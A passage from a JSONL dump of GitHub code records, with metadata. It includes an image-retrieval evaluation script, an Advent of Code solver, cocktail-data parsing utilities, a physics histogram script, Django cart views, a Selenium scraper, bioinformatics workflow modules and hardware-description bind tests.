torch\nimport logging\nimport time\nimport argparse\nfrom datetime import datetime\ntorch.backends.cudnn.benchmark= True # Provides a speedup\n\nfrom test import Cosplace\nfrom utils import commons\nfrom utils.recall import Predict\nfrom utils.commons import load_settings\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--query_path', type=str, default='/workspace/data/sample/resize_queries')\n parser.add_argument('--params', type=str, default='/workspace/cfg/config/params.yaml')\n args = parser.parse_args()\n\n option = parser.parse_known_args()[0]\n params_path = option.params\n params = load_settings(params_path)\n data = params['model']['data']\n cosplace = params['model']['cosplace']\n\n start_time = datetime.now()\n output_folder = f\"logs/{data['save']}/{start_time.strftime('%Y-%m-%d_%H-%M-%S')}\"\n commons.make_deterministic(cosplace['seed'])\n commons.setup_logging(output_folder, console=\"info\")\n logging.info(\" \".join(sys.argv))\n logging.info(f\"Arguments: {args}\")\n logging.info(f\"The outputs are being saved in {output_folder}\")\n\n cos = Cosplace(params)\n prec = Predict(params)\n query_path = args.query_path\n\n start_total_time = time.time()\n predictions = cos.inference_by_images(query_path)\n end_total_time = time.time()\n total_process_time = end_total_time - start_total_time\n logging.info(f\"query search time : {total_process_time}\")\n logging.info(f\"query result : {predictions}\")\n\n prec.main()\n","repo_name":"HyeongbinMun/Cosplace","sub_path":"eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":1533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"29326344524","text":"#!/usr/bin/env python3#\nimport Common\nfrom collections import defaultdict\n\ndef getManhattanDist(star1, star2):\n return sum(abs(a - b) for a,b in zip(star1,star2))\n \ndef getGrouped(match, matches, group):\n if(match in group):\n return\n group.add(match)\n newMatches = matches[match]\n for newMatch in newMatches:\n getGrouped(newMatch, matches, group)\n \ndef getGroups(matches):\n groups = []\n matched = {}\n for match in matches:\n if match in matched:\n continue\n group = set()\n getGrouped(match, matches, group)\n groups.append(group)\n for num in group:\n matched[num] = True\n \n return groups\n \ndef part1(input):\n stars = defaultdict(tuple)\n starNum = 0\n for line in input:\n numbers = Common.numbers(line)\n stars[starNum] = tuple(numbers)\n starNum += 1\n \n constellations = []\n matches = defaultdict(set)\n for starNum1, star1 in stars.items():\n for starNum2, star2 in stars.items():\n if getManhattanDist(star1, star2) <= 3:\n matches[starNum1].add(starNum2)\n matches[starNum2].add(starNum1)\n \n groups = getGroups(matches)\n \n return len(groups)\n \ninput = Common.inputAsLines()\n\nprint(part1(input)) #bounds 306-616\n\n#print(part2(input))\n\n\n\n\n","repo_name":"WaivedAnswer/AdventOfCode","sub_path":"2018/Day_25/Program.py","file_name":"Program.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"14267829350","text":"from __future__ import print_function\n\nimport time\nimport unittest\n\nfrom cros_utils import command_executer\n\n\nclass CommandExecuterTest(unittest.TestCase):\n \"\"\"Test for CommandExecuter class.\"\"\"\n\n def testTimeout(self):\n timeout = 1\n logging_level = 'average'\n ce = command_executer.CommandExecuter(logging_level)\n start = time.time()\n command = 'sleep 20'\n ce.RunCommand(command, command_timeout=timeout, terminated_timeout=timeout)\n end = time.time()\n self.assertTrue(round(end - start) == timeout)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"Fimics/android12_pixel4xl","sub_path":"external/toolchain-utils/cros_utils/command_executer_unittest.py","file_name":"command_executer_unittest.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"27569298401","text":"from settings import *\nfrom db_utils import *\nimport json\nimport re\nfrom fractions import Fraction\n\n\ndef write_data_to_file(data, filepath):\n \"\"\"This function writes a dictionary data to a json file\n\n Args:\n data (dict): this dictionary containing data scraped through the api request\n filepath (str): a string containing the filename\n \"\"\"\n with open(filepath, \"w\") as f:\n json.dump(data, f)\n\n\ndef read_data_from_file(filepath):\n \"\"\"This method read_data_from_file reads a json and converts into a dictionary\n\n Args:\n filepath (str): a string containing filename\n\n Returns:\n dict: a dictionary containg data from api response\n \"\"\"\n\n with open(filepath, \"r\") as f:\n data_dict = json.load(f)\n\n return data_dict\n\n\ndef replace_word_to_float(measurement):\n \"\"\"This method replace_word_to_float replaces the decimal values in the written format to fractional form.\n For example \"one fourth\" --> \"1/4\"\n\n Args:\n measurement (str): a string containing the measurement value of the ingredient.\n\n Returns:\n str: a string containing the measurement value of the ingredient after replacing with the fractional value.\n \"\"\"\n\n for key, val in WORD_TO_FLOAT_DICT.items():\n if key in measurement:\n measurement = measurement.replace(key, val)\n break\n return measurement\n\n\ndef get_transform_fraction(measurement):\n \"\"\"This method get_transform_fraction recognizes the original fractional values and converts them into numerical form\n For example: \"3/4\" --> \"0.75\"\n\n Args:\n measurement (str): a string containing the measurement value of the ingredient.\n\n Returns:\n str: a string containing the measurement value of the ingredient after replacing with the numerical value\n \"\"\"\n\n fraction_regex = \"\"\"\\d \\d\\/\\d|\\d\\/\\d\"\"\" # _regex expression to detect the target fractional values\n measurement = replace_word_to_float(measurement)\n\n fraction = re.findall(fraction_regex, measurement)\n if len(fraction) > 0:\n fraction = fraction[0]\n\n if len(fraction.split()) == 1:\n numeric_val = float(Fraction(fraction))\n elif len(fraction.split()) == 2:\n numeric_val = float(fraction.split()[0]) + float(\n Fraction(fraction.split()[1])\n )\n\n replace_str = str(round(numeric_val, 2))\n\n return re.sub(fraction_regex, replace_str, measurement)\n else:\n return measurement\n\n\ndef check_digit(text):\n \"\"\"This method check_digit verifies whether a string is numeric, decimal or not.\n For example: \"0.49\" --> True\n \"0.3f5\" --> False\n\n Args:\n text (str): a string containing the ingredeint measure data.\n\n Returns:\n boolean: True: if the text is a numeric value, False: otherwise\n \"\"\"\n\n return text.replace(\".\", \"\", 1).isdigit() or text.replace(\"-\", \"\", 1).isdigit()\n\n\ndef get_transform_measurement_tokens(measurement):\n \"\"\"This method get_transform_measurement_tokens transforms the measurement values into quantity, measurement_unit, meta_data\n\n Args:\n measurement (str): a string containing measurement values in an unprocessed format.\n\n Returns:\n list: a list containing processed measurement data --> (minimum quantity, maximum quantity, measurement_unit, meta_data)\n \"\"\"\n measurement = measurement.lower()\n measurement_tokens = measurement.split()\n\n quantity = None\n unit = None\n meta_data = None\n\n if len(measurement_tokens) == 2: # _handling measurement values containing 2 tokens\n if check_digit(measurement_tokens[0]) and check_digit(measurement_tokens[1]):\n quantity = measurement_tokens[0] + measurement_tokens[1]\n unit = \"NA\"\n meta_data = \"NA\"\n elif check_digit(measurement_tokens[0]) and not check_digit(\n measurement_tokens[1]\n ):\n quantity = measurement_tokens[0]\n unit = measurement_tokens[1]\n meta_data = \"NA\"\n elif (\n len(measurement_tokens) == 1\n ): # _handling measurement values containing only one tokens\n if check_digit(measurement_tokens[0]):\n quantity = measurement_tokens[0]\n unit = \"NA\"\n meta_data = \"NA\"\n elif check_digit(measurement_tokens[0][0]):\n for idx in range(len(measurement_tokens[0]) - 1, -1, -1):\n if check_digit(measurement_tokens[0][idx]):\n break\n\n quantity = measurement_tokens[0][: idx + 1]\n unit = measurement_tokens[0][idx + 1 :]\n meta_data = \"NA\"\n else:\n quantity = \"NA\"\n unit = \"NA\"\n meta_data = measurement_tokens[0]\n elif (\n len(measurement_tokens) > 2\n ): # _handling measurement values containing more than 2 tokens\n\n if check_digit(measurement_tokens[0]):\n quantity = measurement_tokens[0]\n unit = measurement_tokens[1]\n meta_data = \" \".join(measurement_tokens[2:])\n if unit in TARGET_UNITS:\n unit = \"NA\"\n meta_data = \" \".join(measurement_tokens[1:])\n elif check_digit(measurement_tokens[-1]):\n quantity = measurement_tokens[-1]\n unit = \"NA\"\n meta_data = \" \".join(measurement_tokens[:-1])\n else:\n\n for idx, token in enumerate(measurement_tokens):\n\n if check_digit(token):\n quantity = token\n unit = measurement_tokens[idx + 1]\n meta_data = \" \".join(measurement_tokens[: -idx - 1])\n break\n\n if quantity is None and unit is None and meta_data is None:\n quantity = \"NA\"\n unit = \"NA\"\n meta_data = measurement\n\n if quantity is None and unit is None and meta_data is None:\n quantity = \"NA\"\n unit = \"NA\"\n meta_data = \"NA\"\n\n # _handling some special cases\n if unit in UNIT_MAPPING_DICT.keys():\n unit = UNIT_MAPPING_DICT[unit]\n\n if meta_data in UNIT_MAPPING_DICT.keys():\n meta_data = UNIT_MAPPING_DICT[meta_data]\n\n if meta_data in TARGET_META_DATA_FLIP:\n unit, meta_data = meta_data, unit\n\n if quantity is \"NA\":\n quantity = str(1)\n elif unit in TARGET_UNIT_FLIP:\n unit, meta_data = meta_data, unit\n\n # _handing range measurements for example: 6-8 cups of vodka\n # _min-quantity: 6 and max-quantity: 8\n if \"-\" in quantity:\n min_quantity = float(quantity.split(\"-\")[0])\n max_quantity = float(quantity.split(\"-\")[1])\n elif quantity == \"NA\":\n min_quantity = 0.0\n max_quantity = 0.0\n else:\n min_quantity = 0.0\n max_quantity = float(quantity)\n\n return [min_quantity, max_quantity, unit, meta_data]\n\n\ndef get_dict_keys_data(data_dict, keys):\n\n return {k: v for k, v in data_dict.items() if k in keys}\n\n\ndef get_ingedients_data(data_dict):\n \"\"\"This method get_ingedients_data combines the ingredient and measurement values and extractions information from the data.\n\n Args:\n data_dict (dict): a dictionary containing the cocktail drinks data\n\n Returns:\n list: a list containing with a dictionary with ingredient as keys and measuremnt as values\n \"\"\"\n ingredients_list = []\n ingredient_idx = 0\n for ingredient, measure in zip(INGREDIENTS_COLS, MEASURE_COLS):\n\n if data_dict[ingredient] is not None and data_dict[measure] is not None:\n ingredient_idx += 1\n\n measurement_fraction_transformed = get_transform_fraction(\n data_dict[measure].strip()\n )\n measurement_tokens = get_transform_measurement_tokens(\n measurement_fraction_transformed\n )\n\n key = data_dict[ingredient].lower()\n measurement_tokens.append(ingredient_idx)\n ingredients_list.append({'ingredient': key,\n 'measurement': measurement_tokens})\n\n return ingredients_list\n\n\ndef parse_data_from_file(filename):\n \"\"\"This method parse_data_from_file reads a text file and parses the data according to the delimiter.\n\n Args:\n filename (str): a string containing the path of the file.\n\n Returns:\n list: a list containing the insert data for the requested table\n \"\"\"\n with open(filename, \"r\") as f:\n data = f.read().splitlines()\n\n insert_data = []\n for val in data:\n insert_data.append(tuple(val.split(DELIMITER)))\n\n return insert_data\n\n\ndef insert_static_data_db(filename, table_name):\n \"\"\"This method insert_static_data_db inserts data into a table after reading from a table.\n\n Args:\n filename (str): a string containing the filename\n table_name (str): a string containing the name of the table to which the data will be inserted.\n \"\"\"\n filename = SQL_DATA_FILEPATH + filename + \".txt\"\n\n data = parse_data_from_file(filename)\n insert_data_many(data, table_name)\n\n\ndef insert_dynamic_drinks_data():\n \"\"\"This method insert_dynamic_drinks_data inserts the cocktail drinks and ingredients data in the database.\"\"\"\n\n drinks_insert_data = []\n ingredients_insert_data = []\n\n for filename in os.listdir(DOWNLOAD_DATA_FILEPATH):\n if \".json\" in filename:\n data = read_data_from_file(DOWNLOAD_DATA_FILEPATH + filename)\n drinks_list = data[\"drinks\"]\n\n if drinks_list is not None and len(drinks_list) > 0:\n\n for drink in drinks_list:\n\n if drink is not None:\n drinks_data = get_dict_keys_data(drink, DRINKS_COLS)\n\n if (\n drinks_data[\"strInstructionsDE\"] is not None\n ): # _considering only drinks which have instructions in german\n drinks_insert_data.append(tuple(list(drinks_data.values())))\n\n ingredients_list = get_ingedients_data(drink)\n\n for ingredient_data in ingredients_list:\n\n ingredient = ingredient_data['ingredient']\n measurement_tokens = ingredient_data['measurement']\n\n drink_id = drinks_data[\"idDrink\"]\n ingredients_id = get_reference_id(\n \"ingredients\",\n col_name=\"ingredients_name\",\n data=ingredient,\n ) # _foreign key referencing\n min_quantity = measurement_tokens[0]\n max_quantity = measurement_tokens[1]\n measurement_unit_id = get_reference_id(\n \"measurement_units\",\n col_name=\"measurement_name\",\n data=measurement_tokens[2],\n ) # _foreign key referencing\n meta_data = measurement_tokens[3]\n sequence_id = measurement_tokens[4]\n\n ingredients_insert_data.append(\n tuple(\n [\n drink_id,\n ingredients_id,\n sequence_id,\n min_quantity,\n max_quantity,\n measurement_unit_id,\n meta_data\n ]\n )\n )\n\n # _insert multiple rows of data using a single query efficiently\n insert_data_many(\n drinks_insert_data, \"cocktail_drinks\"\n ) # _insert multiple values of cocktail drinks data\n insert_data_many(\n ingredients_insert_data, \"cocktail_ingredients\"\n ) # _insert multiple values of cocktail ingredients","repo_name":"praveengadiyaram369/cocktail_case_study","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":12226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41698711612","text":"import ROOT\nfrom ROOT import *\nfrom math import *\n\ntree = TChain(\"DecayTree\")\ntree.Add(\"/afs/cern.ch/work/a/adudziak/public/Bs2DsKFitTuple/MergedTree_Bs2DsX_M*_OFFLINE_DsK.root\")\n\ndms = 17.768\n\nmodulo = 2*pi/dms\n\nhisto = TH1F(\"histo\",\"\",10,0.,modulo)\nhistonorm = TH1F(\"histonorm\",\"\",10,0.,modulo)\n\nhisto_diff = TH1F(\"histo_diff\",\"\",10,0.,modulo)\nhisto_sum = TH1F(\"histo_sum\",\"\",10,0.,modulo)\n\nfor entry in range(tree.GetEntries()):\n tree.GetEntry(entry)\n if tree.lab0_MassFitConsD_M[0] < 5700. :\n continue \n #if tree.BDTGResponse_1 < 0.9 : continue\n if tree.lab0_TAGDECISION == 0 : continue \n #if tree.lab1_PIDK > 0 : continue\n if tree.lab1_ID < 0 :\n #histo.Fill((tree.lab0_LifetimeFit_ctau[0]*3.335641)%modulo,-tree.lab0_TRUEID/abs(tree.lab0_TRUEID))\n if tree.lab0_TAGDECISION > 0 :\n histo.Fill((tree.lab0_LifetimeFit_ctau[0]*3.335641)%modulo,1.)\n if tree.lab0_TAGDECISION < 0 :\n histonorm.Fill((tree.lab0_LifetimeFit_ctau[0]*3.335641)%modulo,1.)\n if tree.lab1_ID > 0 : \n #histo.Fill((tree.lab0_LifetimeFit_ctau[0]*3.335641)%modulo,-tree.lab0_TRUEID/abs(tree.lab0_TRUEID))\n if tree.lab0_TAGDECISION < 0 : \n histo.Fill((tree.lab0_LifetimeFit_ctau[0]*3.335641)%modulo,1.)\n if tree.lab0_TAGDECISION > 0 : \n histonorm.Fill((tree.lab0_LifetimeFit_ctau[0]*3.335641)%modulo,1.)\n\nhisto.Sumw2()\nhistonorm.Sumw2()\n\nhisto_diff.Sumw2()\nhisto_sum.Sumw2()\n\nhisto_diff.Add(histo,histonorm,1.,-1.)\nhisto_sum.Add(histo,histonorm,1.,1.)\n\nhisto_diff.Divide(histo_sum)\n\nhisto_diff.Draw(\"EP\")\n\nfunction = TF1(\"function\",\"[0]*cos(\"+str(dms)+\"*x) + [1]*sin(\"+str(dms)+\"*x)+[2]\",0.,modulo)\n\nhisto_diff.Fit(function)\n\n","repo_name":"suvayu/B2DXFitters","sub_path":"scripts/makefoldedasysigmc.py","file_name":"makefoldedasysigmc.py","file_ext":"py","file_size_in_byte":1727,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"9459516312","text":"def gender(sex):\n\tlist = ['Male', 'male', 'Female', 'female']\n\tfor i in range(len(list)):\n\t\tif sex in list[i]:\n\t\t print('I didn\\'t catch that, Male or Female?')\n\t\t gender(input())\n\t\telse:\n\t\t\tprint('You are {}'.format(sex))\n\t\t\texit()\n\nderp = input('Are you male or female?\\n')\ngender(derp)\n","repo_name":"Cameron-Calpin/Code","sub_path":"Python - learning/Receiving Inputs/Gender-association.py","file_name":"Gender-association.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40586184105","text":"# -*- coding: utf-8 -*-\r\n# __author__ = 'zhaozhigang'\r\n# last_modify:2020.10.27\r\n\r\nfrom biocluster.module import Module\r\nimport os\r\nimport shutil\r\nfrom biocluster.core.exceptions import OptionError\r\nfrom mbio.packages.bacgenome.common import sum_stat\r\nimport unittest\r\n\r\nclass RepeatmaskerModule(Module):\r\n def __init__(self, work_id):\r\n super(RepeatmaskerModule, self).__init__(work_id)\r\n options = [\r\n {\"name\": \"genome_fa\", \"type\": \"infile\", \"format\": \"sequence.fasta\"}, # 输入序列\r\n {\"name\": \"sample\", \"type\": \"string\"}, # 样品名\r\n {\"name\": \"analysis\", \"type\": \"string\",\"default\":\"umcomplete\"},\r\n ]\r\n self.add_option(options)\r\n self.repeatmasker_list = []\r\n\r\n def check_options(self):\r\n if not self.option(\"genome_fa\").is_set:\r\n raise OptionError(\"必须设置参数genome_fa\", code=\"21200301\")\r\n if not self.option(\"sample\"):\r\n raise OptionError(\"必须设置样品名称\", code=\"21200302\")\r\n return True\r\n\r\n def run_repeatmasker(self):\r\n self.genome_path = self.option(\"genome_fa\").prop['path']\r\n self.repeatmasker = self.add_tool(\"bacgenome.repeatmasker\")\r\n opts = {\r\n \"input_genome\": self.genome_path,\r\n }\r\n self.repeatmasker.set_options(opts)\r\n self.repeatmasker.on(\"end\", self.set_output)\r\n self.repeatmasker.run()\r\n\r\n def set_output(self):\r\n sample_dir = os.path.join(self.output_dir, self.option(\"sample\"))\r\n if os.path.exists(sample_dir):\r\n shutil.rmtree(sample_dir)\r\n os.mkdir(sample_dir)\r\n #for i in os.listdir(self.repeatmasker.output_dir):\r\n # if i.split(\".\")[-1] == \"gff\":\r\n # file_name = i.split(\".\")[0]\r\n out_file = self.repeatmasker.output_dir + \"/Rep.out\"\r\n if os.path.exists(out_file):\r\n os.link(out_file, sample_dir + \"/\" + self.option(\"sample\") + \".out\")\r\n gff_file = self.repeatmasker.output_dir + \"/Rep.gff\"\r\n if os.path.exists(gff_file):\r\n os.link(gff_file, sample_dir + \"/\" + self.option(\"sample\") + \".gff\")\r\n tbl_file = self.repeatmasker.output_dir + \"/Rep.tbl\"\r\n if os.path.exists(tbl_file):\r\n os.link(tbl_file, sample_dir + \"/\" + self.option(\"sample\") + \".tbl\")\r\n # 增加判断没有结果文件的情况下,将.fna.out的结果输出到结果目录\r\n if len(os.listdir(self.repeatmasker.output_dir)) == 0:\r\n fnaoutfile = self.repeatmasker.work_dir + \"/\" + self.option(\"sample\") + \".fna.out\"\r\n if os.path.exists(fnaoutfile):\r\n os.link(fnaoutfile, sample_dir + \"/\" + self.option(\"sample\") + \".fna.out\")\r\n self.end()\r\n\r\n def run(self):\r\n super(RepeatmaskerModule, self).run()\r\n self.run_repeatmasker()\r\n\r\n def end(self):\r\n super(RepeatmaskerModule, self).end()","repo_name":"bensonlew/rnawl","sub_path":"src/mbio/modules/bacgenome/repeatmasker.py","file_name":"repeatmasker.py","file_ext":"py","file_size_in_byte":2906,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"7881955048","text":"from hyperopt import hp, fmin, tpe, STATUS_OK, Trials\nfrom hyperopt.pyll.base import scope\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.model_selection import cross_val_score\nimport numpy as np\nfrom sklearn.model_selection import StratifiedKFold\n\n\nclass LR():\n def __init__(self, X_train, y_train):\n self.X_train = X_train\n self.y_train = y_train\n self.space = {'C': hp.uniform('C', -15, 15)}\n def objective(self, params):\n dist = (np.unique(self.y_train, return_counts=True))\n class_weight = {0: ((len(self.y_train)) / (2 * dist[1][0])), 1: ((len(self.y_train)) / (2 * dist[1][1]))}\n skf = StratifiedKFold(n_splits=3)\n model = LogisticRegression(C=2**params['C'], random_state=42, class_weight=class_weight)\n accuracy = cross_val_score(model, self.X_train, self.y_train, scoring='f1_macro', cv=skf).mean()\n\n # We aim to maximize accuracy, therefore we return it as a negative value\n return {'loss': -accuracy, 'status': STATUS_OK}\n\n def find_best(self):\n trials = Trials()\n best = fmin(fn=self.objective,\n space=self.space,\n algo=tpe.suggest,\n max_evals=20,\n trials=trials, rstate=np.random.RandomState(42))\n return best","repo_name":"vinspdb/TSUNAMI","sub_path":"src/classification/online/lr_opt.py","file_name":"lr_opt.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"35111221810","text":"import time\nfrom selenium import webdriver\nfrom lxml import etree\n\n# 实例化驱动器driver\n# global driver\ndriver = webdriver.Chrome(executable_path='/usr/local/bin/chromedriver')\n# 使用driver发起一个get请求\ndriver.get('http://scxk.nmpa.gov.cn:81/xk/')\n# 使用page_source属性获取当前页面的源码数据\npage_text = driver.page_source\ntree = etree.HTML(page_text)\nli_list = tree.xpath('//ul[@id=\"gzlist\"]/li')\nfor li in li_list:\n name = li.xpath('./dl/@title')[0]\n print(name)\n# print(page_text)\ntime.sleep(5)\n# driver.quit()\n","repo_name":"cxysailor/my-learning-note","sub_path":"crawler/selenium_xuke.py","file_name":"selenium_xuke.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3527727364","text":"#!/usr/bin/env python3\nfrom time import sleep\n\nimport progressbar as pb\n\nred = 0\nbar = pb.ProgressBar(255, bg=(0, 31, 63), fg=(red, 0, 0))\n\nfor value in range(0, 256):\n print(bar.view(value), end=\"\\r\")\n red += 1\n sleep(0.0125)\n bar.fg = (red, 0, 0)\n\nprint(\"\\n\")\n","repo_name":"plainspooky/progressbar","sub_path":"examples/setting_colors_2.py","file_name":"setting_colors_2.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"72043812747","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom django.views.decorators.http import require_POST\nfrom Shop.models import Item\nfrom .cart import Cart\nfrom .forms import CartAddItemForm\n\n@require_POST\ndef cart_add(request, slug_item):\n cart = Cart(request)\n item = get_object_or_404(Item, slug=slug_item)\n form = CartAddItemForm(request.POST)\n \n if form.is_valid():\n cd = form.cleaned_data\n cart.add(item=item,\n quantity=cd['quantity'],\n update_quantity=cd['update'])\n \n return redirect(request.META.get('HTTP_REFERER'))\n \n\ndef cart_remove(request, item_id):\n cart = Cart(request)\n item = get_object_or_404(Item, id=item_id)\n cart.remove(item)\n\n return redirect('Cart:cart_detail')\n\ndef cart_detail(request):\n template = 'detail.html'\n cart = Cart(request)\n for item in cart:\n item['update_quantity_form'] = CartAddItemForm(\n initial={'quantity': item['quantity'], 'update': True})\n return render(request, template, {'cart': cart})\n\ndef item_detail(request, item_id, slug):\n template = 'Shop/template/detail.html'\n product = get_object_or_404(Item, id=item_id, slug=slug, available=True)\n cart_item_form = CartAddItemForm()\n return render(request, template, {'product': product,'cart_item_form': cart_item_form})","repo_name":"alexa984/Hack-for-Sustainability","sub_path":"GreenStand/Cart/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40604150615","text":"# -*- coding: utf-8 -*-\n# __author__ = 'zengjing'\n# __last_modified__ = 20180227\nfrom biocluster.workflow import Workflow\nimport pymongo\nfrom biocluster.config import Config\nfrom biocluster.wpm.client import *\nimport datetime\n\n\nclass DemoInitWorkflow(Workflow):\n \"\"\"\n 初始化设置demo时进行demo备份\n type:ref_rna时,对ref_rna项目做初始化,进行备份或者删除备份;\n ref_rna_demo时,删除拉取的ref_rna任务(前端做计划任务,传递拉取已有30天的demo参数)\n \"\"\"\n def __init__(self, wsheet_object):\n self._sheet = wsheet_object\n super(DemoInitWorkflow, self).__init__(wsheet_object)\n options = [\n {\"name\": \"task_id\", \"type\": \"string\"}, # 要设置为demo或取消的demo的task_id\n {\"name\": \"type\", \"type\": \"string\", \"default\": \"ref_rna\"}, # demo的类型\n {\"name\": \"setup_type\", \"type\": \"string\", \"default\": \"setup\"}, # 对demo进行的操作,设置为demo,取消删除demo\n {\"name\": \"demo_number\", \"type\": \"int\", \"default\": 30} # demo备份的数量\n ]\n self.add_option(options)\n self.set_options(self._sheet.options())\n\n def check_options(self):\n if self.option(\"task_id\") == \"\" or self.option(\"task_id\") == \" \":\n raise OptionError(\"task_id不能为空\")\n\n def run(self):\n self.start_listener()\n self.fire(\"start\")\n if self.option(\"type\") == \"ref_rna\":\n if self.option(\"setup_type\") == \"setup\":\n self._project_type = \"ref_rna\"\n self.client = Config().get_mongo_client(mtype=self._project_type)\n self.db = self.client[Config().get_mongo_dbname(self._project_type)]\n from mbio.packages.rna.refrna_copy_demo import RefrnaCopyMongo\n target_project_sn = \"refrna_demo\"\n target_member_id = \"refrna_demo\"\n self.logger.info(\"开始备份新的demo\")\n for i in range(self.option(\"demo_number\")):\n target_task_id = self.option(\"task_id\") + \"_\" + datetime.datetime.now().strftime(\"%Y%m%d_%H%M%S%f\")[:-3]\n copy_task = RefrnaCopyMongo(self.option(\"task_id\"), target_task_id, target_project_sn, target_member_id)\n copy_task.run()\n # db = Config().mongo_client[Config().MONGODB + \"_ref_rna\"]\n col = self.db[\"sg_task\"]\n result = col.find_one({\"task_id\": target_task_id, \"project_sn\": target_project_sn})\n col.update_one({\"_id\": result[\"_id\"]}, {\"$set\": {\"demo_status\": \"end\"}})\n self.logger.info(\"备份{}份新的demo成功\".format(self.option(\"demo_number\")))\n if self.option(\"setup_type\") in [\"cancel\", \"delete\"]:\n self.logger.info(\"开始删除备份的demo\")\n from mbio.packages.rna.refrna_copy_delete import RefrnaCopyDelete\n RefrnaCopyDelete().find_task_id(task_id=self.option(\"task_id\"))\n if self.option(\"type\") == \"ref_rna_demo\" and self.option(\"setup_type\") == \"delete\":\n self.logger.info(\"开始删除拉取的demo\")\n from mbio.packages.rna.refrna_copy_delete import RefrnaCopyDelete\n RefrnaCopyDelete().remove(self.option(\"task_id\"))\n if self.option(\"type\") == \"metagenomic_demo\" and self.option(\"setup_type\") == \"delete\":\n self.logger.info(\"开始删除拉取的demo\")\n from mbio.packages.metagenomic.delete_demo import DeleteDemo\n DeleteDemo().remove(self.option(\"task_id\")) # add metagenomic_demo by GHD @20180227\n self.end()\n\n def end(self):\n super(DemoInitWorkflow, self).end()\n","repo_name":"bensonlew/rnawl","sub_path":"src/mbio/workflows/copy_demo/demo_init.py","file_name":"demo_init.py","file_ext":"py","file_size_in_byte":3726,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"22015745067","text":"import itertools\nimport pathlib\nimport pytest\nimport string\n\nimport magma as m\nfrom magma.bind import (\n is_bound_module,\n is_bound_instance,\n maybe_get_bound_instance_info,\n)\nfrom magma.passes.passes import CircuitPass\nimport magma.testing\n\n\ndef _assert_compilation(ckt, basename, suffix, opts):\n # Specialize gold file for cwd.\n cwd = pathlib.Path(__file__).parent\n with open(f\"{cwd}/gold/{basename}.{suffix}.tpl\", \"r\") as f_tpl:\n with open(f\"{cwd}/gold/{basename}.{suffix}\", \"w\") as f_out:\n tpl = string.Template(f_tpl.read())\n f_out.write(tpl.substitute(cwd=cwd))\n m.compile(f\"build/{basename}\", ckt, **opts)\n assert m.testing.check_files_equal(\n __file__,\n f\"build/{basename}.{suffix}\",\n f\"gold/{basename}.{suffix}\")\n\n\n@pytest.mark.parametrize(\n \"backend,split_verilog\",\n itertools.product((\"mlir\",), (False, True))\n)\ndef test_basic(backend, split_verilog):\n\n class Top(m.Circuit):\n io = m.IO(I=m.In(m.Bit), O=m.Out(m.Bit))\n io.O @= ~io.I\n\n class TopBasicAsserts(m.Circuit):\n name = f\"TopBasicAsserts_{backend}\"\n io = m.IO(I=m.In(m.Bit), O=m.In(m.Bit), other=m.In(m.Bit))\n io.I.unused()\n io.O.unused()\n io.other.unused()\n\n m.bind(Top, TopBasicAsserts, Top.I)\n\n assert not is_bound_module(Top)\n assert is_bound_module(TopBasicAsserts)\n\n basename = f\"test_bind_basic\"\n suffix = \"mlir\" if backend == \"mlir\" else \"v\"\n opts = {\n \"output\": backend,\n }\n if split_verilog:\n opts.update({\"split_verilog\": True})\n basename = basename + \"_split_verilog\"\n _assert_compilation(Top, basename, suffix, opts)\n\n\n@pytest.mark.parametrize(\n \"backend,flatten_all_tuples,inst_attr\",\n (\n (\"mlir\", False, False),\n (\"mlir\", True, False),\n (\"mlir\", True, True),\n )\n)\ndef test_xmr(backend, flatten_all_tuples, inst_attr):\n\n class T(m.Product):\n x = m.Bit\n y = m.Bit\n\n U = m.Tuple[m.Bit, m.Bits[8]]\n\n class Bottom(m.Circuit):\n io = m.IO(I=m.In(T), O=m.Out(T), x=m.Out(U))\n io.O @= io.I\n io.x[0] @= 0\n io.x[1] @= 0\n\n class Middle(m.Circuit):\n io = m.IO(I=m.In(T), O=m.Out(T))\n io.O @= Bottom(name=\"bottom\")(io.I)[0]\n\n class Top(m.Circuit):\n io = m.IO(I=m.In(T), O=m.Out(T))\n if inst_attr:\n middle = Middle(name=\"middle\")\n O = middle(io.I)\n else:\n O = Middle(name=\"middle\")(io.I)\n io.O @= O\n\n class TopXMRAsserts(m.Circuit):\n name = f\"TopXMRAsserts_{backend}\"\n io = m.IO(I=m.In(T), O=m.In(T), a=m.In(T), b=m.In(m.Bit), c=m.In(m.Bit))\n io.I.unused()\n io.O.unused()\n io.a.unused()\n io.b.unused()\n io.c.unused()\n\n m.bind(\n Top,\n TopXMRAsserts,\n Top.middle.bottom.O,\n Top.middle.bottom.I.x,\n Top.middle.bottom.x[0],\n )\n\n basename = \"test_bind_xmr\"\n if flatten_all_tuples:\n basename += \"_flatten_all_tuples\"\n suffix = \"mlir\" if backend == \"mlir\" else \"v\"\n 